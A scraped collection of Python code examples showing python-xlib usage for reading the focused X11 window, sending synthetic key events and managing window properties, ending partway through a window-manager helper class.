Пример #1
0
    def start(self):
        self._p = Popen([
            'google-chrome', 
            '--user-data-dir=%s' % os.path.join(os.path.dirname(__file__), self.user_dir),
            '--app=%s' % url,
            '--name=cafesys-kiosk',
            ])
        pid = self._p.pid

        window = None
        while not window:
            window = _find_chrome_window()

        while True:
            display = Display()
            focus = display.get_input_focus().focus
            focus.send_event(event.KeyPress(
                detail=32, #95
                time=X.CurrentTime,
                root=display,
                window=focus,
                child=X.NONE,
                state=0,
                same_screen=1,
                root_x=1,
                root_y=1,
                event_x=1,
                event_y=1,
                ))
            print 'event sent'
Пример #2
0
class FakeInputs:
    def __init__(self):
        self.display = Display()

    def press_mouse(self, button, x, y):
        pass

    def release_mouse(self, button, x, y):
        pass

    def move_mouse(self, x, y):
        fake_input(self.display, X.MotionNotify, x=x, y=y)
        self.display.sync()

    def press_key(self, key):
        keycode = self.display.keysym_to_keycode(key)
        fake_input(self.window(), X.KeyPress, keycode)
        self.display.sync()

    def release_key(self, key):
        keycode = self.display.keysym_to_keycode(key)
        fake_input(self.window(), X.KeyRelease, keycode)
        self.display.sync()

    def window(self):
        return self.display.get_input_focus()._data['focus']
Пример #3
0
    def send_key(self, emulated_key):
        display = Display()
        root = display.screen().root

        shift_mask = 0  # or Xlib.X.ShiftMask
        window = display.get_input_focus()._data["focus"]
        keysym = Xlib.XK.string_to_keysym(emulated_key)
        keycode = display.keysym_to_keycode(keysym)

        Xlib.ext.xtest.fake_input(window, Xlib.X.KeyPress, keycode)

        event = Xlib.protocol.event.KeyPress(
            time=int(time.time()),
            root=root,
            window=window,
            same_screen=0, child=Xlib.X.NONE,
            root_x=0, root_y=0, event_x=0, event_y=0,
            state=shift_mask,
            detail=keycode
        )
        window.send_event(event, propagate=True)
        event = Xlib.protocol.event.KeyRelease(
            time=int(time.time()),
            root=display.screen().root,
            window=window,
            same_screen=0, child=Xlib.X.NONE,
            root_x=0, root_y=0, event_x=0, event_y=0,
            state=shift_mask,
            detail=keycode
        )
        window.send_event(event, propagate=True)
        display.sync()
Пример #4
0
    def run(self):

        self.disable_keyboard_interrupt()

        display = Display()

        while True:
            try:
                time.sleep(self._interval)
                window = display.get_input_focus().focus

                if window.get_wm_class() is None and window.get_wm_name() is None:
                    window = window.query_tree().parent
                if window:
                    pid_value = window.get_full_property(display.intern_atom('_NET_WM_PID'),0)
                    if pid_value:
                        try:
                            pid = int(pid_value.value[0])
                            process = psutil.Process(pid)
                            name,exe,title = process.name,process.exe,window.get_wm_name()
                            value = {'exe':exe,'title':title.decode('latin-1'),'time':time.time()-self._last_time}
                            self.send_event(value)
                            self._last_time = time.time()
                        except:
                            pass
            except AttributeError:
                pass
Пример #5
0
def get_focus_win(display=None):
    if display is None:
        display = parse_display_var_v3()
    from Xlib.display import Display
    display = Display(display)
    focus = display.get_input_focus()
    wf = focus._data['focus']
    return wf
Пример #6
0
class ProgramIdentifier(object):
    def __init__(self):
        self.display = Display()
        self.pid_atom = self.display.get_atom("_NET_WM_PID")

    def get_active_program(self):
        pid = self._get_top_window_pid()
        realpath = self._get_pid_realpath(pid)
        return self._get_program_name_from_path(realpath)

    def _get_pid_realpath(self, pid):
        return os.path.realpath('/proc/' + str(pid) + '/exe')

    def _get_program_name_from_path(self, path):
        return path.split("/")[-1]

    def _get_top_window_pid(self):
        top_window = self._get_top_window()
        if top_window is not None:
            pid = self._get_window_pid(top_window)
            if pid is None:
                raise CantGetPIDOfWindowError("")
            return pid
        else:
            raise NoTopWindowFoundError("")

    def _get_top_window(self):
        focused_window = self.display.get_input_focus().focus
        if focused_window is not None and focused_window != X.NONE and focused_window != X.PointerRoot:
            parent = focused_window

            while (True):
                if self.pid_atom in parent.list_properties():
                    break
                query_result = parent.query_tree()
                root = query_result.root
                parent = query_result.parent

                if root.id == parent.id:
                    break

            return parent

        return None

    def _get_window_pid(self, window):
        if self.pid_atom in window.list_properties():
            value = window.get_full_property(self.pid_atom,
                                             X.AnyPropertyType).value
            if value is not None and len(value) == 1:
                return value[0]

        return None
Пример #7
0
    def __init__(self, dbname, prefix):
        self.dbname = dbname
        self.prefix = prefix

        display = Display()
        focused = display.get_input_focus().focus
        wm_class = focused.get_wm_class() or focused.query_tree().parent.get_wm_class()
        self.wm_name = focused.get_wm_name() or focused.query_tree().parent.get_wm_name()
        self.wm_info = " ".join([s for s in wm_class])

        try:
            self.con = sqlite3.connect(dbname)
        except OSError:
            logging.exception("DB '%s' not found" % dbname)
            raise
Пример #8
0
class x11_Keyboard:
    def __init__(self):
        self.display = Display()

    def press(self, key):
        if key >= 256:
            keycode = self.display.keysym_to_keycode(keymap[key])
        keycode = self.display.keysym_to_keycode(key)
        fake_input(self.window(), X.KeyPress, keycode)
        self.display.sync()

    def release(self, key):
        if key >= 256:
            keycode = self.display.keysym_to_keycode(keymap[key])
        keycode = self.display.keysym_to_keycode(key)
        fake_input(self.window(), X.KeyRelease, keycode)
        self.display.sync()

    def window(self):
        return self.display.get_input_focus()._data["focus"]
Пример #9
0
class x11_Keyboard:
    def __init__(self):
        self.display = Display()

    def press(self, key):
        if key >= 256:
            keycode = self.display.keysym_to_keycode(keymap[key])
        keycode = self.display.keysym_to_keycode(key)
        fake_input(self.window(), X.KeyPress, keycode)
        self.display.sync()

    def release(self, key):
        if key >= 256:
            keycode = self.display.keysym_to_keycode(keymap[key])
        keycode = self.display.keysym_to_keycode(key)
        fake_input(self.window(), X.KeyRelease, keycode)
        self.display.sync()

    def window(self):
        return self.display.get_input_focus()._data['focus']
Пример #10
0
class XInputSendContext(object):

    """
    This class manages a connection to the X-Server and allows to send key events.
    """

    def __init__(self):
        # open a connection to the x server
        self.display = Display()

        # get the root window of the default screen
        self.root = self.display.screen().root

    def send_key_event(self, key_code, key_down):
        """
        Sends a key event to the focused window using python-xlibs send_input method.

        :param key_code: Integer code of the key event that should be sent
        :param key_down: True = key press event, False = key release event
        """
        # get the window that has the input focus
        focus_window = self.display.get_input_focus().focus

        # select the right event class depending on key_down
        event_class = KeyPress if key_down else KeyRelease

        # create event
        event = event_class(time=X.CurrentTime, root=self.root, window=focus_window,
                            same_screen=0, child=0, root_x=0, root_y=0, event_x=0, event_y=0,
                            state=0, detail=key_code)

        # send event to the window that has the input focus
        focus_window.send_event(event)

    def close(self):
        """
        Closes the connection to the x server
        """
        self.display.close()
Пример #11
0
class Keyboard(KeyboardMeta):
    """
    The PyKeyboard implementation for X11 systems (mostly linux). This
    allows one to simulate keyboard input.
    """
    def __init__(self, display=None):
        PyKeyboardMeta.__init__(self)
        self.display = Display(display)
        self.root = self.display.screen().root
        
        XK.load_keysym_group('xkb')
        
        altList = self.display.keysym_to_keycodes(XK.XK_ISO_Level3_Shift)
        self.__usable_modifiers = (0, 1)
        for code, offset in altList:
            if code == 108 and offset == 0:
                self.__usable_modifiers += (4, 5)
                break
            
        mapping = self.display.get_modifier_mapping()
        self.modmasks = {}
        for keyname in MODIFIERS:
            keysym = XK.string_to_keysym(keyname)
            keycodes = self.display.keysym_to_keycodes(keysym)
            
            found = False
            for keycode, lvl in keycodes:
                for index, mask in MASK_INDEXES:
                    if keycode in mapping[index]:
                        self.modmasks[keycode] = mask
                        found = True
                    
                if found:
                    break
 
        self.flags = {        
            'Shift': X.ShiftMask,
            'Lock': X.LockMask,
            'Ctrl': X.ControlMask,
            'Alt': 0,
            'AltGr': self.modmasks[altList[0][0]],
            'Hankaku': 0}
        
        self.special_key_assignment()

    def __findUsableKeycode(self, keycodes):
        for code, mask in keycodes:
            if mask in self.__usable_modifiers:
                return code, mask

        return None, None

    def press_key(self, character='', modifier=0):
        """
        Press a given character key. Also works with character keycodes as
        integers, but not keysyms.
        """
        window = self.display.get_input_focus().focus
        
        char_val, char_mask = self.lookup_character_value(character)
        if char_val == None or char_mask == None:
            return False
        char_mask ^= modifier
        
        print character, char_mask, modifier
        
        event = protocol.event.KeyPress(
            detail = char_val,
            time = X.CurrentTime,
            root = self.root,
            window = window,
            child = X.NONE,
            root_x = 0,
            root_y = 0,
            event_x = 0,
            event_y = 0,
            state = char_mask,
            same_screen = 0)
        window.send_event(event)
        self.display.sync()

    def release_key(self, character='', modifier=0):
        """
        Release a given character key. Also works with character keycodes as
        integers, but not keysyms.
        """
        window = self.display.get_input_focus().focus
        
        char_val, char_mask = self.lookup_character_value(character)
        if char_val == None or char_mask == None:
            return False
        char_mask ^= modifier
        
        event = protocol.event.KeyRelease(
            detail = char_val,
            time = X.CurrentTime,
            root = self.root,
            window = window,
            child = X.NONE,
            root_x = 0,
            root_y = 0,
            event_x = 0,
            event_y = 0,
            state = char_mask,
            same_screen = 0)
        window.send_event(event)
        self.display.sync()

    def special_key_assignment(self):
        """
        Determines the keycodes for common special keys on the keyboard. These
        are integer values and can be passed to the other key methods.
        Generally speaking, these are non-printable codes.
        """
        #This set of keys compiled using the X11 keysymdef.h file as reference
        #They comprise a relatively universal set of keys, though there may be
        #exceptions which may come up for other OSes and vendors. Countless
        #special cases exist which are not handled here, but may be extended.
        #TTY Function Keys
        self.backspace_key = self.lookup_character_value('BackSpace')[0]
        self.tab_key = self.lookup_character_value('Tab')[0]
        self.linefeed_key = self.lookup_character_value('Linefeed')[0]
        self.clear_key = self.lookup_character_value('Clear')[0]
        self.return_key = self.lookup_character_value('Return')[0]
        self.enter_key = self.return_key  # Because many keyboards call it "Enter"
        self.pause_key = self.lookup_character_value('Pause')[0]
        self.scroll_lock_key = self.lookup_character_value('Scroll_Lock')[0]
        self.sys_req_key = self.lookup_character_value('Sys_Req')[0]
        self.escape_key = self.lookup_character_value('Escape')[0]
        self.delete_key = self.lookup_character_value('Delete')[0]
        #Modifier Keys
        self.shift_l_key = self.lookup_character_value('Shift_L')[0]
        self.shift_r_key = self.lookup_character_value('Shift_R')[0]
        self.shift_key = self.shift_l_key  # Default Shift is left Shift
        self.alt_l_key = self.lookup_character_value('Alt_L')[0]
        self.alt_r_key = self.lookup_character_value('Alt_R')[0]
        self.alt_key = self.alt_l_key  # Default Alt is left Alt
        self.alt_gr_key = self.lookup_character_value('ISO_Level3_Shift')[0]
        self.control_l_key = self.lookup_character_value('Control_L')[0]
        self.control_r_key = self.lookup_character_value('Control_R')[0]
        self.control_key = self.control_l_key  # Default Ctrl is left Ctrl
        self.caps_lock_key = self.lookup_character_value('Caps_Lock')[0]
        self.capital_key = self.caps_lock_key  # Some may know it as Capital
        self.shift_lock_key = self.lookup_character_value('Shift_Lock')[0]
        self.meta_l_key = self.lookup_character_value('Meta_L')[0]
        self.meta_r_key = self.lookup_character_value('Meta_R')[0]
        self.super_l_key = self.lookup_character_value('Super_L')[0]
        self.windows_l_key = self.super_l_key  # Cross-support; also it's printed there
        self.super_r_key = self.lookup_character_value('Super_R')[0]
        self.windows_r_key = self.super_r_key  # Cross-support; also it's printed there
        self.hyper_l_key = self.lookup_character_value('Hyper_L')[0]
        self.hyper_r_key = self.lookup_character_value('Hyper_R')[0]
        #Cursor Control and Motion
        self.home_key = self.lookup_character_value('Home')[0]
        self.up_key = self.lookup_character_value('Up')[0]
        self.down_key = self.lookup_character_value('Down')[0]
        self.left_key = self.lookup_character_value('Left')[0]
        self.right_key = self.lookup_character_value('Right')[0]
        self.end_key = self.lookup_character_value('End')[0]
        self.begin_key = self.lookup_character_value('Begin')[0]
        self.page_up_key = self.lookup_character_value('Page_Up')[0]
        self.page_down_key = self.lookup_character_value('Page_Down')[0]
        self.prior_key = self.lookup_character_value('Prior')[0]
        self.next_key = self.lookup_character_value('Next')[0]
        #Misc Functions
        self.select_key = self.lookup_character_value('Select')[0]
        self.print_key = self.lookup_character_value('Print')[0]
        self.print_screen_key = self.print_key  # Seems to be the same thing
        self.snapshot_key = self.print_key  # Another name for printscreen
        self.execute_key = self.lookup_character_value('Execute')[0]
        self.insert_key = self.lookup_character_value('Insert')[0]
        self.undo_key = self.lookup_character_value('Undo')[0]
        self.redo_key = self.lookup_character_value('Redo')[0]
        self.menu_key = self.lookup_character_value('Menu')[0]
        self.apps_key = self.menu_key  # Windows...
        self.find_key = self.lookup_character_value('Find')[0]
        self.cancel_key = self.lookup_character_value('Cancel')[0]
        self.help_key = self.lookup_character_value('Help')[0]
        self.break_key = self.lookup_character_value('Break')[0]
        self.mode_switch_key = self.lookup_character_value('Mode_switch')[0]
        self.script_switch_key = self.lookup_character_value('script_switch')[0]
        self.num_lock_key = self.lookup_character_value('Num_Lock')[0]
        #Keypad Keys: Dictionary structure
        keypad = ['Space', 'Tab', 'Enter', 'F1', 'F2', 'F3', 'F4', 'Home',
                  'Left', 'Up', 'Right', 'Down', 'Prior', 'Page_Up', 'Next',
                  'Page_Down', 'End', 'Begin', 'Insert', 'Delete', 'Equal',
                  'Multiply', 'Add', 'Separator', 'Subtract', 'Decimal',
                  'Divide', 0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
        self.keypad_keys = {k: self.lookup_character_value('KP_'+str(k)[0]) for k in keypad}
        self.numpad_keys = self.keypad_keys
        #Function Keys/ Auxilliary Keys
        #FKeys
        self.function_keys = [None] + [self.lookup_character_value('F'+str(i)[0]) for i in xrange(1,36)]
        #LKeys
        self.l_keys = [None] + [self.lookup_character_value('L'+str(i)[0]) for i in xrange(1,11)]
        #RKeys
        self.r_keys = [None] + [self.lookup_character_value('R'+str(i)[0]) for i in xrange(1,16)]

        #Unsupported keys from windows
        self.kana_key = None
        self.hangeul_key = None # old name - should be here for compatibility
        self.hangul_key = None
        self.junjua_key = None
        self.final_key = None
        self.hanja_key = None
        self.kanji_key = None
        self.convert_key = None
        self.nonconvert_key = None
        self.accept_key = None
        self.modechange_key = None
        self.sleep_key = None

    def lookup_character_value(self, character):
        """
        Looks up the keysym for the character then returns the keycode mapping
        and modifier for that keysym.
        """
        ch_keysym = XK.string_to_keysym(character)
        ch_mask = 0
        if ch_keysym == 0:
            if character in SPECIAL_X_KEYSYMS:
                ch_keysym = XK.string_to_keysym(SPECIAL_X_KEYSYMS[character])
            elif len(character) == 1:
                ch_keysym = ord(character)
        ch_keycodes = self.display.keysym_to_keycodes(ch_keysym)
        
        if len(ch_keycodes) == 0 and len(character) == 1:
            ch_keycodes = self.display.keysym_to_keycodes(ord(character.lower()))
            ch_mask ^= X.LockMask
            
        if len(ch_keycodes) > 0:
            ch_keycode, mask = self.__findUsableKeycode(ch_keycodes)
            if ch_keycode == None or mask == None:
                return None, None
            else:
                ch_mask ^= mask
        else:
            return None, None
        
        if ch_mask ^ 4 < 4:
            ch_mask ^= 4
            ch_mask ^= self.modmasks[self.alt_gr_key]
        
        return ch_keycode, ch_mask
Пример #12
0
class KnoX:
    Geometry = namedtuple("Geometry", "x y width height")
    FrameExtents = namedtuple("FrameExtents", "left right top bottom")

    def __init__(self):
        #self.display = Display(os.environ.get("DISPLAY", ":0.0"))
        self.display = Display()
        print("Connected to X DISPLAY %r" % self.display.get_display_name())
        self.display.set_error_handler(self.knox_error_handler)
        self.screen = self.display.screen()
        self.root = self.screen.root
        self.atoms = dict()
        self.atom_names = dict()
        self.keysyms = Keysyms()
        self.modifiers = Modifiers(self)
        self._supported_properties = None
        self._acceptable_error_sequence = 0
        self._acceptable_errors = dict()
        self._silenced_errors = set()

    def fileno(self):
        """This function is here to make select work with this object"""
        return self.display.fileno()

    @contextmanager
    def silenced_error(self, error):
        silencer = self.silence_error(error)
        try:
            yield silencer
        finally:
            self.remove_silencer(silencer)

    def silence_error(self, error):
        k = self._acceptable_error_sequence
        self._acceptable_errors[k] = error
        self._acceptable_error_sequence += 1
        self._silenced_errors = set(self._acceptable_errors.values())
        return k

    def remove_silencer(self, key):
        if key in self._acceptable_errors:
            del self._acceptable_errors[key]
            self._silenced_errors = set(self._acceptable_errors.values())

    def knox_error_handler(self, err, *args):
        if type(err) not in self._silenced_errors:
            print("X protocol error: %s" % err)
            traceback.print_stack()

    # def wait_for_event(self, timeout_seconds):
    #     """ Wait up to `timeout_seconds` seconds for an event to be queued.
    #     Return True, if a xevent is available.
    #     Return False, if the timeout was reached.
    #     from https://gist.github.com/fphammerle/d81ca3ff0a169f062a9f28e57b18f04d"""
    #     rlist = select.select(
    #         [self.display], # rlist
    #         [], # wlist
    #         [], # xlist
    #         timeout_seconds, # timeout [seconds]
    #     )[0]
    #     return len(rlist) > 0

    def next_event(self, wait=True):
        if (wait or self.display.pending_events()):
            return self.display.next_event()
        else:
            return None

    # def next_event(self, event_loop):
    #     event_loop.register_reader(self.display,

    def atom(self, name, only_if_exists=False):
        if isinstance(name, int):
            a = name
        elif name not in self.atoms:
            a = self.display.get_atom(name, only_if_exists=only_if_exists)
            self.atoms[name] = a
        else:
            a = self.atoms[name]
        return a

    def atom_name(self, atom):
        if atom in self.atom_names:
            return self.atom_names[atom]
        name = self.display.get_atom_name(atom)
        if name:
            self.atom_names[atom] = name
            if name not in self.atoms:
                self.atoms[name] = atom
            return name

    def get_prop(self, window, name):
        prop_name = self.atom(name, only_if_exists=True)
        if not prop_name:
            return None
        if isinstance(window, int):
            window = self.get_window(window)
        p = window.get_full_property(prop_name, X.AnyPropertyType)
        if p:
            return p.value

    def get_text_prop(self, window, name):
        prop_name = self.atom(name, only_if_exists=True)
        if not prop_name:
            return None
        s = window.get_full_text_property(prop_name, Xatom.STRING)
        if not s:
            t = self.atom("UTF8_STRING", only_if_exists=True)
            if t:
                s = window.get_full_text_property(prop_name, t)
        return s

    def onerror(self, *args, **kwargs):
        print("ERROR: something bad happened about %r and %r" % (args, kwargs))
        raise Exception("Error is bad...")

    def set_prop(self, window, name, type_name, value):
        if isinstance(window, int):
            window = self.get_window(window)
        if isinstance(type_name, int):
            prop_type_name = type_name
            #type_name = self.atom_name(prop_type_name)
        else:
            prop_type_name = self.atom(type_name, only_if_exists=False)

        prop_name = self.atom(name, only_if_exists=False)

        if value is None:
            window.delete_property(prop_name)
        else:
            window.change_property(prop_name,
                                   prop_type_name,
                                   32,
                                   value,
                                   mode=X.PropModeReplace,
                                   onerror=self.onerror)

    def send_prop_change_event(
        self,
        property_name,
        data,
        target=None,
        window=None,
    ):
        if target is None:
            target = self.root
        if window is None:
            window = target
        ev = protocol.event.ClientMessage(window=window,
                                          client_type=self.atom(property_name),
                                          data=data)
        target.send_event(ev,
                          event_mask=X.SubstructureNotifyMask
                          | X.SubstructureRedirectMask,
                          propagate=False,
                          onerror=self.onerror)

    def current_desktop(self, desktop=None, wait=True):
        prop_name = "_NET_CURRENT_DESKTOP"
        if desktop is None:
            pv = self.get_prop(self.root, prop_name)
            if pv:
                return pv[0]
        else:
            v = array('I', [desktop])
            #self.set_prop(self.root, prop_name, Xatom.CARDINAL, v)
            self.send_prop_change_event(
                prop_name, (32, [desktop, X.CurrentTime, 0, 0, 0]))
            self.flush()
            w = Waiter(wait)
            while w.wait():
                print("DESKTOPCHECK", hex(desktop))
                if self.current_desktop() == desktop:
                    print("DESKTOP OK")
                    break

    def get_wm_pid(self, window):
        pid_prop = self.get_prop(window, "_NET_WM_PID")
        if pid_prop:
            return pid_prop[0]
        return None

    def get_wm_name(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        # window.get_wm_name gets only STRING property and returns nothing
        # if it's UTF8_STRING
        return self.get_text_prop(window, Xatom.WM_NAME)

    def active_window(self, window=None, wait=3, id_only=False):
        prop_name = "_NET_ACTIVE_WINDOW"
        if window is None:
            pv = self.get_prop(self.root, prop_name)
            if pv and pv[0]:
                window = self.get_window(pv[0])
                if window and window.get_wm_name() != 'Desktop':
                    if id_only:
                        return window.id
                    else:
                        return window
        else:
            if isinstance(window, int):
                window = self.get_window(window)
            desktop = self.get_desktop_for_window(window)
            self.current_desktop(desktop)
            #v = array('I', [ window.id, 0 ])
            #self.set_prop(self.root, prop_name, Xatom.WINDOW, v)
            # data[0]: source indication
            #   1: when the request comes from an application
            #   2: from a pager
            #   0: no spec.
            self.send_prop_change_event(prop_name,
                                        (32, [2, X.CurrentTime, 0, 0, 0]),
                                        window=window)
            self.flush()
            #self.raise_window(window)
            # it won't become active until it's focused
            focused = self.set_focused_window(window, wait=1)
            w = Waiter(wait)
            while w.wait():
                a = self.active_window()
                self.flush()
                if not focused:
                    focused = self.set_focused_window(window, wait=1)
                    self.flush()
                if a and a.id == window.id:
                    print("Activated %r!" % window.id)
                    return True
                self.send_prop_change_event(prop_name,
                                            (32, [2, X.CurrentTime, 0, 0, 0]),
                                            window=window)
                self.flush()
            print("Can't activate %d" % window.id)
            return False

    def get_focused_window(self, toplevel=True):
        f = self.display.get_input_focus()
        #f = protocol.request.GetInputFocus(display=self.display.display)
        if f.focus in [X.NONE, X.PointerRoot]:
            return None
        if toplevel:
            w = self.get_client_window(f.focus)
            if w is not None:
                return w.id
        return f.focus.id

    def raise_window(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        elif window is None:
            return
        window.raise_window()

    def focus_error(self, *args, **kwargs):
        print("Cannot set_input_focus: %r %r" % (args, kwargs))

    def set_focused_window(self, window, wait=3):
        if window is None:
            self.display.set_input_focus(X.NONE,
                                         X.RevertToParent,
                                         X.CurrentTime,
                                         onerror=self.focus_error)
            return True
        elif not wait:
            self.display.set_input_focus(window, X.RevertToParent,
                                         X.CurrentTime)
            return True
        else:
            with self.silenced_error(error.BadMatch):
                if isinstance(window, int):
                    window = self.get_window(window)
                self.display.set_input_focus(window, X.RevertToParent,
                                             X.CurrentTime)
                self.flush()
                w = Waiter(wait)
                while w.wait():
                    if w.timeout:
                        if w.progressed:
                            print("WAITING %.3f seconds more for focus on %r" %
                                  (w.remaining, window.id))
                        else:
                            print(
                                "READY TO WAIT %.3f seconds for focus on %r" %
                                (w.remaining, window.id))
                    focused_win_id = self.get_focused_window()
                    if focused_win_id == window.id:
                        print("FOCUSED %r" % window.id)
                        return True
                    # many times it's needed to repeat the command, esp. when mouse is
                    # not inside the target window
                    self.display.set_input_focus(window, X.RevertToParent,
                                                 X.CurrentTime)
                    self.flush()
                    #self.display.set_input_focus(window, X.RevertToParent, X.CurrentTime)
                    #self.display.flush()
            return False

    def get_desktop_for_window(self, window):
        pv = self.get_prop(window, "_NET_WM_DESKTOP")
        if pv:
            return pv[0]

    def set_desktop_for_window(self, window, desktop):
        if desktop is None:
            return
        name = self.atom("_NET_WM_DESKTOP", only_if_exists=True)
        if name in self.supported_properties:
            pv = self.set_prop(window, name, Xatom.CARDINAL,
                               array('I', [desktop]))

    def save_state(self):
        state = {
            "Current Desktop": self.current_desktop(),
            "Active Window": self.active_window(id_only=True),
            "Focused Window": self.get_focused_window()
        }
        return state

    def restore_state(self, state):
        a = self.supported_properties
        self.current_desktop(state["Current Desktop"])
        self.flush()
        try:
            self.set_focused_window(state["Focused Window"])
        except error.BadWindow:
            print("Sorry, the old focused window went away...")
        # self.active_window(state["Active Window"])

    def keysym_to_string(self, keysym, friendly=False, very_friendly=False):
        if keysym not in self.keysyms.keysyms:
            return chr(keysym)
        if very_friendly:
            return self.keysyms.friendly_name(keysym, simplest=True)
        if friendly:
            return self.keysyms.friendly_name(keysym, simplest=False)
        else:
            return self.keysyms[keysym]

    def keycode_to_keysym(self, keycode, idx=None):
        if idx is None:
            syms = set()
            for i in range(4):
                keysym = self.display.keycode_to_keysym(keycode, i)
                if keysym:
                    syms.add(keysym)
            return syms
        else:
            return self.display.keycode_to_keysym(event.detail, i)

    def keysym_to_keycode(self, keysym):
        return self.display.keysym_to_keycode(keysym)

    def string_to_keysym(self, s):
        k = self.keysyms[s]
        if not k:
            k = self.keysyms["XK_" + s]
        if k:
            return k
        k = XK.string_to_keysym(s)
        return k
        # allow simpler names, like AudioRaiseVolume?
        # if s.startswith("XF86_"):
        #     s = "XF86" + s[5:]
        #     return XK.string_to_keysym(s)

    def error_handler(self, fn, *args, **kwargs):
        return functools.partial(fn, *args, **kwargs)

    def toggle_frame(self, window, frame=None, wait=1):
        """Set window frame. Value should be True or False for on and off, or None for toggle."""
        # flags - set bit for every iteresting value
        # 0 functions   => integer bits
        # 1 decorations => integer bits
        # 2 input_mode  => enum string or integer
        # 3 status      => integer bits
        #
        # functions:
        # bit    actions offered
        # ---    ---------------
        #  1     all functions
        #  2     resize window
        #  4     move window
        #  8     minimize, to iconify
        # 16     maximize, to full-screen (with a frame still)
        # 32     close window
        #
        # decorations:
        # bit       decorations displayed
        # ---       ---------------------
        #  1        all decorations
        #  2        border around the window
        #  4        resizeh, handles to resize by dragging
        #  8        title bar, showing WM_NAME
        # 16        menu, drop-down menu of the "functions" above
        # 32        minimize button, to iconify
        # 64        maximize button, to full-screen
        #
        # input mode:
        #   string                   integer
        # "modeless"                    0    not modal (the default)
        # "primary_application_modal"   1    modal to its "transient for"
        # "system_modal"                2    modal to the whole display
        # "full_application_modal"      3    modal to the current client
        #
        # status:
        #
        # bit
        #  1    tearoff menu window

        name = self.atom("_MOTIF_WM_HINTS", only_if_exists=True)
        # If does not exist, probably not supported, though should check
        # root for _NET_SUPPORTED list return assert prop != 0 pv =
        pv = self.get_prop(window, name)
        fe = self.get_frame_extents(window)
        if pv and len(pv) == 5:
            hints = array(pv.typecode, pv)
            if frame is None:
                hints[2] = 0 if hints[2] else 1
            elif frame:
                hints[2] = 1
            else:
                hints[2] = 0
        else:
            # reasonable default
            hints = array('I', [2, 0, 0, 0, 0])

        self.set_prop(window, name, name, hints)

        w = Waiter(wait)
        while w.wait():
            pv = self.get_prop(window, name)
            if pv and array(pv.typecode, pv) == hints:
                new_fe = self.get_frame_extents(window)
                # make sure frame extents changed
                # this seems to take a while once the hints change
                if new_fe != fe:
                    break

    def set_opacity(self, window, value):
        """value is a number between 0 and 1"""
        v = int(((1 << 32) - 1) * value)
        self.set_prop(window, "_NET_WM_WINDOW_OPACITY", Xatom.CARDINAL,
                      array('I', [v]))

    def get_opacity(self, window):
        pv = self.get_prop(window, "_NET_WM_WINDOW_OPACITY")
        if pv:
            value = int(pv[0] / ((1 << 32) - 1))
            return value
        return 1

    @property
    def supported_properties(self):
        if self._supported_properties is None:
            self._supported_properties = self.get_prop(self.root,
                                                       "_NET_SUPPORTED") or []
        return self._supported_properties

    def get_window(self, win_id):
        if isinstance(win_id, int):
            return self.display.create_resource_object('window', win_id)
        else:
            return win_id

    def get_client_window(self, window):
        win_id = window.id
        for tlw in self.toplevel_windows():
            for (_, parent, _) in self.window_tree(
                    tlw, filter=lambda w, parent, level: w.id == win_id):
                return tlw
        return None

    def toplevel_windows(self, id_only=False):
        name = self.atom("_NET_CLIENT_LIST", only_if_exists=True)
        if name in self.supported_properties:
            lst = self.get_prop(self.root, name)
            if id_only:
                return lst
            else:
                return list(map(lambda win_id: self.get_window(win_id), lst))
        else:
            print("BELGENGOC")
            if id_only:
                return list(
                    map(lambda w: w.id,
                        self.root.query_tree().children))
            else:
                return list(self.root.query_tree().children)

    def window_tree(self, parent=None, level=1, filter=None):
        if parent is None:
            parent = self.root
            if filter is None or filter(parent, None, 0):
                yield (parent, None, 0)
        for w in parent.query_tree().children:
            if filter is None or filter(w, parent, level):
                yield (w, parent, level)
                yield from self.window_tree(parent=w,
                                            level=level + 1,
                                            filter=filter)

    def close_window(self, window):
        self.send_prop_change_event("_NET_CLOSE_WINDOW", (32, [0, 0, 0, 0, 0]),
                                    window=self.get_window(window))

    # https://specifications.freedesktop.org/wm-spec/wm-spec-1.3.html
    # window  = the respective client window
    # message_type = _NET_WM_STATE
    # format = 32
    # data.l[0] = the action, as listed below
    # data.l[1] = first property to alter
    # data.l[2] = second property to alter
    # data.l[3] = source indication
    #  other data.l[] elements = 0
    # This message allows two prop
    #
    _NET_WM_STATE_REMOVE = 0  # remove/unset property
    _NET_WM_STATE_ADD = 1  #add/set property
    _NET_WM_STATE_TOGGLE = 2  # toggle property

    def set_wm_states(self, window, names, action=None):
        if action is None:
            action = self._NET_WM_STATE_TOGGLE
        elif action is True:
            action = self._NET_WM_STATE_ADD
        elif action is False:
            action = self._NET_WM_STATE_REMOVE
        window = self.get_window(window)
        values = list()
        for name in names:
            value = self.atom("_NET_WM_STATE_%s" % name.upper())
            values.append(value)
        data = [action, *values]
        while len(data) < 5:
            data.append(0)
        self.send_prop_change_event("_NET_WM_STATE", (32, data),
                                    window=self.get_window(window))

    def set_wm_state(self, window, name, action=None):
        if action is None:
            action = self._NET_WM_STATE_TOGGLE
        elif action is True:
            action = self._NET_WM_STATE_ADD
        elif action is False:
            action = self._NET_WM_STATE_REMOVE
        window = self.get_window(window)
        value = self.atom("_NET_WM_STATE_%s" % name.upper())
        self.send_prop_change_event("_NET_WM_STATE",
                                    (32, [action, value, 0, 0, 0]),
                                    window=self.get_window(window))

    def below_window(self, window, action=None):
        self.set_wm_state(window, name="below", action=action)

    def fullscreen_window(self, window, action=None):
        self.set_wm_state(window, name="fullscreen", action=action)

    def above_window(self, window, action=None):
        self.set_wm_state(window, name="above", action=action)

    def sticky_window(self, window, action=None):
        self.set_wm_state(window, name="sticky", action=action)

    def skip_pager(self, window, action=None):
        self.set_wm_state(window, name="skip_pager", action=action)

    def skip_taskbar(self, window, action=None):
        self.set_wm_state(window, name="skip_taskbar", action=action)

    def maximize_window(self,
                        window,
                        horizontal=True,
                        vertical=True,
                        action=None):
        if horizontal:
            self.set_wm_state(window, name="maximized_horz", action=action)
        if vertical:
            self.set_wm_state(window, name="maximized_vert", action=action)

    def minimize_window(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        self.send_prop_change_event("WM_CHANGE_STATE",
                                    (32, [Xutil.IconicState, 0, 0, 0, 0]),
                                    window=self.get_window(window))

    def get_attributes(self, window):
        if isinstance(window, int):
            window = self.get_window(window)
        return window.get_attributes()

    def get_window_type(self, window):
        e = self.get_prop(window, "_NET_WM_WINDOW_TYPE")
        if e is None:
            return None
        type_details = set()
        prefix = "_NET_WM_WINDOW_TYPE_"
        for t in e:
            if not t:
                continue
            s = self.atom_name(t)
